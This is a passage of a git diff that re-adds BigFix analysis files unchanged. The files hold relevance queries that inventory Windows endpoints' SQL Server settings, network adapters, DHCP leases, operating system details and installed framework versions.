+    <Property ID="9" Name="SQL - Database Disk Usage - Windows" EvaluationPeriod="P1D">unique values of (it as string) of (string value of property &quot;name&quot; of it, (integer value of property &quot;DataFilesSizeKB&quot; of it / 1024) as string &amp; &quot; MB&quot; ) of select objects ((&quot;* from &quot; &amp; it &amp; &quot; where NAME != &apos;_Total&apos; and NAME != &apos;mssqlsystemresource&apos;&quot;) of (string values of properties &quot;__class&quot; of SELECT objects &quot;* from meta_class where __CLASS like &apos;%25Win32_PerfFormattedData_%25SQLServerDatabases&apos;&quot; of wmi)) of wmi</Property>
+    <Property ID="10" Name="SQL - Default Port - Windows" EvaluationPeriod="P1D">unique values of integer values of properties &quot;PropertyNumVal&quot; of select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Port&apos;&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Port&apos;&quot; of it | false)</Property>
+    <Property ID="11" Name="SQL - Default Named Pipe - Windows" EvaluationPeriod="P1D">unique values of string values of properties &quot;PropertyStrVal&quot; of select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Pipe&apos;&quot; of (wmis (&quot;ROOT\Microsoft\SqlServer\ComputerManagement12&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement11&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement10&quot;;&quot;ROOT\Microsoft\SqlServer\ComputerManagement&quot;)) whose (exists select objects &quot;* from ClientNetworkProtocolProperty where PropertyName=&apos;Default Pipe&apos;&quot; of it | false)</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes b/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes
index 82e9094c5..40ac5c64a 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Missing Fixlets for Available Windows Features (12).bes	
@@ -1,27 +1,27 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Missing Fixlets for Available Windows Features
-  ID       : 12
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:32:22
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Missing Fixlets for Available Windows Features</Title>
-    <Description><![CDATA[<P>This analysis pulls back the results file of our diffDISM.txt file.&nbsp; This file contains a list of Available Windows Features which we do not have fixlets for.&nbsp;</P>
-<P>You can take this data and manually create fixlets for each of these features.</P>]]></Description>
-    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
-    <Relevance>exists file &quot;diffDISM.txt&quot; of parent folder of client OR exists file &quot;DISM.txt&quot; of parent folder of client</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 02 Oct 2012 16:51:10 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Missing Fixlets" EvaluationPeriod="PT5M">if exists file &quot;diffDISM.txt&quot; of parent folder of client then lines of file &quot;diffDISM.txt&quot; of parent folder of client else &quot;&lt;no results&gt;&quot;</Property>
-    <Property ID="2" Name="Available Windows Features" EvaluationPeriod="PT5M">if exists file &quot;DISM.txt&quot; of parent folder of client then preceding texts of firsts &quot;|&quot; of lines whose (it contains &quot;|&quot; AND NOT(it contains &quot;----------&quot;) AND NOT(it contains &quot;Feature Name&quot;)) of file &quot;DISM.txt&quot; of parent folder of client as trimmed string else &quot;&lt;no results&gt;&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Missing Fixlets for Available Windows Features
+  ID       : 12
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:32:22
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Missing Fixlets for Available Windows Features</Title>
+    <Description><![CDATA[<P>This analysis pulls back the results file of our diffDISM.txt file.&nbsp; This file contains a list of Available Windows Features which we do not have fixlets for.&nbsp;</P>
+<P>You can take this data and manually create fixlets for each of these features.</P>]]></Description>
+    <Relevance>name of operating system starts with &quot;Win&quot;</Relevance>
+    <Relevance>exists file &quot;diffDISM.txt&quot; of parent folder of client OR exists file &quot;DISM.txt&quot; of parent folder of client</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 02 Oct 2012 16:51:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Missing Fixlets" EvaluationPeriod="PT5M">if exists file &quot;diffDISM.txt&quot; of parent folder of client then lines of file &quot;diffDISM.txt&quot; of parent folder of client else &quot;&lt;no results&gt;&quot;</Property>
+    <Property ID="2" Name="Available Windows Features" EvaluationPeriod="PT5M">if exists file &quot;DISM.txt&quot; of parent folder of client then preceding texts of firsts &quot;|&quot; of lines whose (it contains &quot;|&quot; AND NOT(it contains &quot;----------&quot;) AND NOT(it contains &quot;Feature Name&quot;)) of file &quot;DISM.txt&quot; of parent folder of client as trimmed string else &quot;&lt;no results&gt;&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes b/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes
index 9853e955c..0ec63d40d 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Network - Windows (2998477).bes	
@@ -1,32 +1,32 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Network - Windows
-  ID       : 2998477
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-08T11:44:02
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Network - Windows</Title>
-    <Description><![CDATA[Provides network information
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Network - DHCP Server - Windows" EvaluationPeriod="P1D">(friendly name of it, dhcp server of it as string | &quot;Static IP&quot;) of adapters whose (address of it != &quot;0.0.0.0&quot;) of network as string</Property>
-    <Property ID="2" Name="Network - DNS Servers - Windows" EvaluationPeriod="P1D">unique values of (ipv6 dns servers of it as string; addresses of dns servers of it as string) of adapters of network</Property>
-    <Property ID="3" Name="Network - Domain - Windows" EvaluationPeriod="P1D">string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi</Property>
-    <Property ID="5" Name="Network - MAC Addresses - Windows" EvaluationPeriod="P1D">mac addresses of adapters of network</Property>
-    <Property ID="6" Name="Network - Subnet Masks - Windows" EvaluationPeriod="P1D">subnet masks of ip interfaces whose (loopback of it = false) of network</Property>
-    <Property ID="7" Name="Network - Wireless SSID Name - Windows" EvaluationPeriod="P1D">ssids of wifis of adapters of network </Property>
-    <Property ID="8" Name="Network - Wireless SSID Encryption - Windows" EvaluationPeriod="P1D">encryptions of wifis of adapters of network</Property>
-    <Property ID="9" Name="Network - DHCP Lease Obtained - Windows" EvaluationPeriod="P1D">(friendly name of it, lease obtained of it as string) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease obtained of it) of network as string</Property>
-    <Property ID="10" Name="Network - DHCP Lease Expires - Windows" EvaluationPeriod="P1D">(friendly name of it, lease expires of it as string) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease expires of it) of network as string</Property>
-    <Property ID="11" Name="Network - DHCP Lease Length - Windows" EvaluationPeriod="P1D">(friendly name of it, lease expires of it - lease obtained of it) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease obtained of it and exists lease expires of it) of network</Property>
-    <Property ID="12" Name="Network - WINS Servers - Winddows" EvaluationPeriod="P1D">(primary wins servers of it; secondary wins servers of it) of adapters of network</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Network - Windows
+  ID       : 2998477
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-08T11:44:02
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Network - Windows</Title>
+    <Description><![CDATA[Provides network information
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="1" Name="Network - DHCP Server - Windows" EvaluationPeriod="P1D">(friendly name of it, dhcp server of it as string | &quot;Static IP&quot;) of adapters whose (address of it != &quot;0.0.0.0&quot;) of network as string</Property>
+    <Property ID="2" Name="Network - DNS Servers - Windows" EvaluationPeriod="P1D">unique values of (ipv6 dns servers of it as string; addresses of dns servers of it as string) of adapters of network</Property>
+    <Property ID="3" Name="Network - Domain - Windows" EvaluationPeriod="P1D">string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi</Property>
+    <Property ID="5" Name="Network - MAC Addresses - Windows" EvaluationPeriod="P1D">mac addresses of adapters of network</Property>
+    <Property ID="6" Name="Network - Subnet Masks - Windows" EvaluationPeriod="P1D">subnet masks of ip interfaces whose (loopback of it = false) of network</Property>
+    <Property ID="7" Name="Network - Wireless SSID Name - Windows" EvaluationPeriod="P1D">ssids of wifis of adapters of network </Property>
+    <Property ID="8" Name="Network - Wireless SSID Encryption - Windows" EvaluationPeriod="P1D">encryptions of wifis of adapters of network</Property>
+    <Property ID="9" Name="Network - DHCP Lease Obtained - Windows" EvaluationPeriod="P1D">(friendly name of it, lease obtained of it as string) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease obtained of it) of network as string</Property>
+    <Property ID="10" Name="Network - DHCP Lease Expires - Windows" EvaluationPeriod="P1D">(friendly name of it, lease expires of it as string) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease expires of it) of network as string</Property>
+    <Property ID="11" Name="Network - DHCP Lease Length - Windows" EvaluationPeriod="P1D">(friendly name of it, lease expires of it - lease obtained of it) of adapters whose (address of it != &quot;0.0.0.0&quot; and exists lease obtained of it and exists lease expires of it) of network</Property>
+    <Property ID="12" Name="Network - WINS Servers - Winddows" EvaluationPeriod="P1D">(primary wins servers of it; secondary wins servers of it) of adapters of network</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes b/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes
index a6873cfc5..5f291e2bc 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Network Info - Windows (2994562).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Network Info - Windows
-  ID       : 2994562
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-08-09T07:36:01
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Network Info - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
-    <Relevance>(windows of operating system)</Relevance>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Fri, 09 Aug 2013 14:32:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="2" Name="LAN - Link Speed" EvaluationPeriod="P1D">((unique value of it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of link speeds of adapters whose (link speed of it = maximum of link speeds of adapters whose (up of it AND (friendly name of it as lowercase contains &quot;ethernet&quot; OR friendly name of it as lowercase contains &quot;local area connection&quot;)) of networks) of networks</Property>
-    <Property ID="3" Name="Max Link Speed" EvaluationPeriod="P1D">((it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of maximum of link speeds of adapters of networks</Property>
-    <Property ID="4" Name="Max Link Speed of active NICs" EvaluationPeriod="P1D">((it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of maximum of link speeds of adapters whose(up of it) of networks</Property>
-    <Property ID="5" Name="Name of networks" EvaluationPeriod="P1D">friendly names of adapters of networks</Property>
-    <Property ID="6" Name="Networks (SSIDs)" EvaluationPeriod="P1D">if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles&quot; of native registry) then (concatenation &quot;; &quot; of unique values of (it as string) of values &quot;Description&quot; whose(it as string does not contain &quot;Network&quot;) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles&quot; of native registry) else ERROR &quot;no networks found&quot;</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Network Info - Windows
+  ID       : 2994562
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-08-09T07:36:01
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Network Info - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the analysis here&gt; ]]></Description>
+    <Relevance>(windows of operating system)</Relevance>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 09 Aug 2013 14:32:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Property ID="2" Name="LAN - Link Speed" EvaluationPeriod="P1D">((unique value of it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of link speeds of adapters whose (link speed of it = maximum of link speeds of adapters whose (up of it AND (friendly name of it as lowercase contains &quot;ethernet&quot; OR friendly name of it as lowercase contains &quot;local area connection&quot;)) of networks) of networks</Property>
+    <Property ID="3" Name="Max Link Speed" EvaluationPeriod="P1D">((it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of maximum of link speeds of adapters of networks</Property>
+    <Property ID="4" Name="Max Link Speed of active NICs" EvaluationPeriod="P1D">((it/(1000*1000)) as string &amp; &quot; Mbps&quot;) of maximum of link speeds of adapters whose(up of it) of networks</Property>
+    <Property ID="5" Name="Name of networks" EvaluationPeriod="P1D">friendly names of adapters of networks</Property>
+    <Property ID="6" Name="Networks (SSIDs)" EvaluationPeriod="P1D">if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles&quot; of native registry) then (concatenation &quot;; &quot; of unique values of (it as string) of values &quot;Description&quot; whose(it as string does not contain &quot;Network&quot;) of keys of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles&quot; of native registry) else ERROR &quot;no networks found&quot;</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes b/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes
index e75142260..566010151 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Operating System - Windows (2998541).bes	
@@ -1,31 +1,31 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Operating System - Windows
-  ID       : 2998541
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-04-14T07:43:46
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Operating System - Windows</Title>
-    <Description><![CDATA[<P>Provides information regarding the installed Windows Operating System.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>NOT in proxy agent context</Relevance>
-    <Domain>BESC</Domain>
-    <Property ID="3" Name="OS - Type - Windows" EvaluationPeriod="P1D">(if (value &quot;ProductType&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; of registry = &quot;WinNT&quot; | ERROR &quot;Unknown Operating System Type&quot;) then &quot;Workstation&quot; else &quot;Server&quot;) </Property>
-    <Property ID="6" Name="OS - Install Date - Windows" EvaluationPeriod="P1D">time value of (select &quot;InstallDate from win32_operatingsystem&quot; of wmi | ERROR &quot;No Install Date found in WMI&quot;)</Property>
-    <Property ID="9" Name="OS - System Language - Windows" EvaluationPeriod="P1D">system language</Property>
-    <Property ID="10" Name="OS - User Language - Windows" EvaluationPeriod="P1D">user language</Property>
-    <Property ID="11" Name="OS - Architecture - Windows" EvaluationPeriod="P1D">architecture of operating system</Property>
-    <Property ID="13" Name="OS - Installed Roles and Features - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (if (exists true whose (if true then (exists select object &quot;* from Win32_ServerFeature&quot; of wmi) else false)) then (string values of (selects &quot;Name from Win32_ServerFeature&quot; of wmi)) else &quot;None&quot;) </Property>
-    <Property ID="14" Name="OS - License Status - Windows" EvaluationPeriod="P1D">if ((select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Activated&quot; else &quot;Not Activated&quot;</Property>
-    <Property ID="15" Name="OS - PowerShell Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;PowerShellVersion&quot; of keys &quot;PowerShellEngine&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of native registry</Property>
-    <Property ID="16" Name="OS - .NET Framework Client Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;Version&quot; of keys &quot;Client&quot; of keys of keys &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
-    <Property ID="17" Name="OS - .NET Framework Full Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;Version&quot; of keys &quot;Full&quot; of keys of keys &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
-  </Analysis>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Analysis Export
+
+  Title    : Operating System - Windows
+  ID       : 2998541
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-04-14T07:43:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Analysis>
+    <Title>Operating System - Windows</Title>
+    <Description><![CDATA[<P>Provides information regarding the installed Windows Operating System.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>NOT in proxy agent context</Relevance>
+    <Domain>BESC</Domain>
+    <Property ID="3" Name="OS - Type - Windows" EvaluationPeriod="P1D">(if (value &quot;ProductType&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; of registry = &quot;WinNT&quot; | ERROR &quot;Unknown Operating System Type&quot;) then &quot;Workstation&quot; else &quot;Server&quot;) </Property>
+    <Property ID="6" Name="OS - Install Date - Windows" EvaluationPeriod="P1D">time value of (select &quot;InstallDate from win32_operatingsystem&quot; of wmi | ERROR &quot;No Install Date found in WMI&quot;)</Property>
+    <Property ID="9" Name="OS - System Language - Windows" EvaluationPeriod="P1D">system language</Property>
+    <Property ID="10" Name="OS - User Language - Windows" EvaluationPeriod="P1D">user language</Property>
+    <Property ID="11" Name="OS - Architecture - Windows" EvaluationPeriod="P1D">architecture of operating system</Property>
+    <Property ID="13" Name="OS - Installed Roles and Features - Windows" EvaluationPeriod="P1D">unique values of (concatenations of (it as string)) of (if (exists true whose (if true then (exists select object &quot;* from Win32_ServerFeature&quot; of wmi) else false)) then (string values of (selects &quot;Name from Win32_ServerFeature&quot; of wmi)) else &quot;None&quot;) </Property>
+    <Property ID="14" Name="OS - License Status - Windows" EvaluationPeriod="P1D">if ((select &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) and (Name LIKE &apos;Windows(R)%25&apos; or Name LIKE &apos;Windows Server(R)%25&apos;)&quot; of wmi) as string contains &quot;1&quot;) then &quot;Activated&quot; else &quot;Not Activated&quot;</Property>
+    <Property ID="15" Name="OS - PowerShell Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;PowerShellVersion&quot; of keys &quot;PowerShellEngine&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell&quot; of native registry</Property>
+    <Property ID="16" Name="OS - .NET Framework Client Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;Version&quot; of keys &quot;Client&quot; of keys of keys &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+    <Property ID="17" Name="OS - .NET Framework Full Version - Windows" EvaluationPeriod="P1D">maximum of (it as string as version) of values &quot;Version&quot; of keys &quot;Full&quot; of keys of keys &quot;HKLM\SOFTWARE\Microsoft\Net Framework Setup\NDP&quot; of native registry</Property>
+  </Analysis>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes
index e18c1d0d4..41e3c6b5c 100644
--- a/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes	
+++ b/Sites/Windows Management/Fixlets/Analyses/Operating System Information (Windows) - Expanded (2994800).bes	
@@ -1,70 +1,70 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Analysis Export
-
-  Title    : Operating System Information (Windows) - Expanded
-  ID       : 2994800
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2015-05-13T07:58:32
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Analysis>
-    <Title>Operating System Information (Windows) - Expanded</Title>
-    <Description><![CDATA[<TABLE>
-<TBODY>
-<TR>
-<TD><FONT size=2><A href="http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system">http://support.bigfix.com/inspectors/System%20Objects_Win.html#operating%20system</A></FONT>
-<P><FONT size=2>This analysis contains information about the Microsoft Windows operating system&nbsp;on BES Client computers. This is an expanded version of the analysis provided by IBM.</P>
-<P><FONT size=2>Since this information&nbsp;does not change much and its evaluation can be resource intensive,&nbsp;most of these properties are only evaluated <STRONG>once per day</STRONG>.</P>
-<P>After activating this analysis, you will see the following properties:</P>
-<UL>
-<LI>Full&nbsp;OS&nbsp;Name and Service Pack Level
-<LI>OS Architecture
-<LI>OS Version Number
-<LI>OS Type
-<LI>Product ID
-<LI>Product Key (Win95, Win98, WinME&nbsp;only)
-<LI>Installation Date
-<LI>Uptime (days) [BES Clients&nbsp;&gt;= 5.1]
-<LI>OS Language (Language of the installed OS)
-<LI>System&nbsp;Language&nbsp;&nbsp;
-<LI>User Language&nbsp;(Default)</LI></UL>
-<P><STRONG>Note:</STRONG> Many of these properties access the Windows Management Interface (WMI) to obtain the hardware properties. The WMI is not usually available on Win9x&nbsp;and WinNT computers so some properties&nbsp;may report back "N/A"&nbsp;on those operating systems.</P>
-<P><STRONG>Note:</STRONG> Some computers may have broken WMI libraries.&nbsp;Inconsistent results&nbsp;and undesired side effects may occur when the BES Client evaluates a WMI query. If you have known problems with WMI in your environment, do not activate this analysis.</P>
-<P></FONT></FONT>&nbsp;</P></TD></TR></TBODY></TABLE>Latest version of this analysis is found here: <A href="http://bigfix.me/analysis/details/2994629">http://bigfix.me/analysis/details/2994629</A> ]]></Description>
-    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
-    <Relevance>(if (name of operating system starts with &quot;Win&quot;) then platform id of operating system != 3 else true) AND (if exists property &quot;in proxy agent context&quot; then (not in proxy agent context) else true) AND (if exists property &quot;android&quot; of type &quot;operating system&quot; then (not android of operating system) else true)</Relevance>
-    <Relevance><![CDATA[version of client >= "5.0"]]></Relevance>
-    <MIMEField>
-      <Name>x-fixlet-first-propagation</Name>
-      <Value>Tue, 31 May 2005 18:57:12 +0000</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 28 Jan 2015 19:20:54 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Property ID="1" Name="Full Operating System Name and Service Pack Level - Windows" EvaluationPeriod="P1D">if (exists wmi AND (not (name of operating system = &quot;WinME&quot; ))) then (string value of selects &quot;caption from win32_operatingsystem&quot; of wmi &amp; &quot; &quot; &amp; csd version of operating system) else ( &quot;Windows &quot; &amp; (following text of first &quot;Win&quot; of (name of operating system as string)) &amp; (if (name of operating system = &quot;WinNT&quot; ) then ((if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; whose (exists value &quot;ProductType&quot; of it AND (value &quot;ProductType&quot; of it as string as lowercase = &quot;servernt&quot; OR value &quot;ProductType&quot; of it as string as lowercase = &quot;lanmannt&quot; )) of registry) then (if (exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; whose (exists value &quot;ProductSuite&quot; of it AND value &quot;ProductSuite&quot; of it as string as lowercase contains &quot;terminal&quot; ) of registry) then &quot; Terminal Server&quot; else &quot; Server&quot; ) else &quot; Workstation&quot; ) &amp; &quot; &quot; &amp; csd version of operating system) else (if (name of operating system = &quot;Win98&quot; ) then (if (csd version of operating system as string contains &quot;A&quot; ) then &quot; Second Edition&quot; else &quot;&quot; ) else (if (name of operating system = &quot;Win95&quot; ) then (if (csd version of operating system as string contains &quot;C&quot; OR csd version of operating system as string contains &quot;B&quot; ) then &quot; OSR2&quot; else &quot;&quot; ) else &quot; &quot; &amp; csd version of operating system ))))</Property>
-    <Property ID="11" Name="OS Architecture - Windows" EvaluationPeriod="P1D">if (ia64 of operating system) then &quot;Itanium 64-bit&quot; else (if (x64 of operating system) then &quot;64-bit&quot; else &quot;32-bit&quot;)</Property>
-    <Property ID="12" Name="OS Version Number - Windows" EvaluationPeriod="P1D">version of operating system</Property>
-    <Property ID="13" Name="OS Type - Windows" EvaluationPeriod="P1D">if (name of operating system as lowercase starts with &quot;win&quot;) then (if (name of operating system = &quot;Win95&quot; OR name of operating system = &quot;Win98&quot; or name of operating system = &quot;WinME&quot;) then &quot;Workstation&quot; else (if (value &quot;ProductType&quot; of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions&quot; of registry = &quot;WinNT&quot;) then &quot;Workstation&quot; else &quot;Server&quot;)) else &quot;Unknown - &quot; &amp; name of operating system</Property>
-    <Property ID="14" Name="OS Product ID - Windows" EvaluationPeriod="P1D">(if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of native registry AND NOT (name of operating system = &quot;WinNT&quot;)) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&quot; of native registry as string) else (if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; whose (exists value &quot;ProductId&quot; of it) of native registry) then (value &quot;ProductId&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion&quot; of native registry as string) else &quot;Unknown&quot;))</Property>
